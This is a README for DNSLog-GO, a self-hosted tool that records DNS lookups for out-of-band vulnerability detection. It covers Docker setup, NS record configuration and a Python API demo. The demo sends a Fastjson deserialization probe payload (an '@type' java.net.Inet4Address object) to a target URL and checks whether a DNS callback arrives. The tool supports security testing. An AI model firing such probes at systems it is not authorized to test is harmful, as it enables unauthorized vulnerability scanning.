简介
---
DNSLog-GO 是一款golang编写的监控 DNS 解析记录的工具,自带多用户WEB界面
演示截图:

安装
---
详细图文教程:https://mp.weixin.qq.com/s/m_UXJa0imfOi721bkBpwFg
# 1.获取发行版
这里 https://github.com/lanyi1998/DNSlog-GO/releases 下载最新发行版,并解压
或者docker启动
```shell
wget https://raw.githubusercontent.com/lanyi1998/DNSlog-GO/master/config.yaml
#修改你的config.yaml文件
docker run -d -p 53:53 -p 53:53/udp -p 8000:8000 -v `pwd`/config.yaml:/DNSlog-GO/config.yaml --name dnslog --privileged lanyi1998/dnslog-go:latest
#设置开机启动
docker update --restart=always dnslog
```
# 2.域名与公网 IP 准备
```
搭建并使用 DNSLog,你需要拥有一个域名如(a.com),还需要有一个公网 IP 地址(如:1.1.1.1)
修改 a.com 的 NS 记录为
NS1.vpsip.NIP.IO
NS2.vpsip.NIP.IO
如
ns1.1.1.1.1.nip.io
ns1.1.1.1.1.nip.io
本步骤中,需要在域名提供商提供的页面进行设置,部分域名提供商只允许修改 NS 记录为已经认证过的 NS 地址。所以需要找一个支持修改 NS 记录为自己 NS 的域名提供商。
注意: NS 记录修改之后部分地区需要 24-48 小时会生效
```
# 3.修改配置文件 config.ini
```
HTTP:
port: 8000 //http web监听端口
#{"token":"用户对应子域名"}
user: { "admin": "admin" } //用户admin 对应的dnslog子域名是 admin.demo.com
consoleDisable: false //是否关闭web页面
Dns:
domain: demo.com //dnslog域名
```
# 4.启动对应系统的客户端
**注意服务端重启以后,如果修改了用户对应子域名,必须清空一下浏览器中的localStorage,否则会获取不到数据**
---
API Python Demo
```python
import requests
import random
import json
class DnsLog():
domain = ""
token = ""
Webserver = ""
def __init__(self, Webserver, token):
self.Webserver = Webserver # dnslog的http监听地址,格式为 ip:端口
self.token = token # token
# 检测DNSLog服务器是否正常
try:
res = requests.post("http://" + Webserver + "/api/verifyToken", json={"token": token}).json()
self.domain = res.Msg
except:
exit("DnsLog 服务器连接失败")
if res["Msg"] == "false":
exit("DnsLog token 验证失败")
# 生成随机子域名
def randomSubDomain(self, length=5):
subDomain = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba', length)) + '.' + self.domain
return subDomain
# 验证子域名是否存在
def checkDomain(self, domain):
res = requests.post("http://" + self.Webserver + "/api/verifyDns", json={"Query": domain},
headers={"token": self.token}).json()
if res["Msg"] == "false":
return False
else:
return True
url = "http://192.168.41.2:8090/"
dns = DnsLog("1111:8888", "admin")
subDomain = dns.randomSubDomain()
payload = {
"b": {
"@type": "java.net.Inet4Address",
"val": subDomain
}
}
requests.post(url, json=payload)
if dns.checkDomain(subDomain):
print("存在FastJosn")
```
## Stargazers over time
[](https://starchart.cc/lanyi1998/DNSlog-GO)
## 404星链计划
[](https://starchart.cc/lanyi1998/DNSlog-GO)
DNSlog-Go 现已加入 [404星链计划](https://github.com/knownsec/404StarLink)

徐浪老师
- 粉丝: 9518
最新资源
- LeadingThink_digital-city-tutorial_20824_1755584885067.zip
- 报废车拆解全流程智能管理系统_报废车回收拆解企业专用ERP软件_包含验收入库拆解管理销售管理库存核对统计报表等核心功能_适用于报废机动车回收拆解企业的全流程数字化管理_采用宏达数据.zip
- 基于Linux内核的开源操作系统项目_包含系统内核开发_驱动程序编写_命令行工具集_图形界面优化_文件系统管理_网络协议栈实现_安全模块加固_性能调优工具_虚拟化支持_容器化技术_.zip
- 【工业自动化】基于C#与MX Component控件实现三菱PLC软元件数据读写的三种方法及应用:包含通信设置、仿真PLC操作与FX1S PLC的实际读写控制了文档的核心内容
- 城市路灯智能运维管理系统是一款专为市政管理部门和物业公司设计的综合性路灯管理平台_包含路灯基本信息登记_巡查记录管理_月度报修汇总_检修复验记录_按报修类型统计分析_电表信息管.zip
- 财政票据管理系统_非税收入票据全流程管理软件_专为各级财政部门设计的综合性票据管理平台_包含票据入库销毁发售退回作废缴验等全生命周期管理功能_支持多维度票据查询统计报表_实现票据领.zip
- 1265578519_kernel_13092_1755583630789.zip
- 交通客运车辆综合管理系统_长途客运短途客运公交车出租车校车旅游车通勤车营运登记车辆技术参数变更等级评定二维维修驾驶员考核事故违章进出站年审保险预警管理_用于交通局全面管理各类客运车.zip
- VlsyV_Multi-Core-Experiment_29388_1755583690707.zip
- shan-liangguang_Project_7244_1755583691730.zip
- 擦鞋修鞋店全流程智能管理系统_专为擦鞋修鞋行业设计的会员管理消费统计库存管理员工考勤一体化解决方案_包含基础信息设置会员卡充值客户预定消费产品进出库服务消费统计报表等核心功能_采用.zip
- cz0729zc_4G_Monitoring_System_for_Train_Noise_13092_1755584900220.zip
- wangguoshuang_Book-Pricing-System-Based-on-Python-3-V10_13092_1755584908612.zip
- wangguoshuang_Book-Pricing-System-Based-on-Python-3-V20_20824_1755584907574.zip
- 沙石料运输全流程信息化管理系统_针对沙石厂销售运输业务开发的综合管理平台_包含现金出库单挂账出库单押金出库单油料管理应收应付账款管理员工考核租赁登记等核心功能_采用宏达.zip
- 基于Vuejs框架开发的电子班牌后台管理系统_支持LED显示屏内容管理与实时更新_包含班级信息展示_课表管理_通知公告_考勤统计_校园文化宣传_多媒体内容播放_远程控制_多终端适.zip
资源上传下载、课程学习等过程中有任何疑问或建议,欢迎提出宝贵意见哦~我们会及时处理!
点击此处反馈


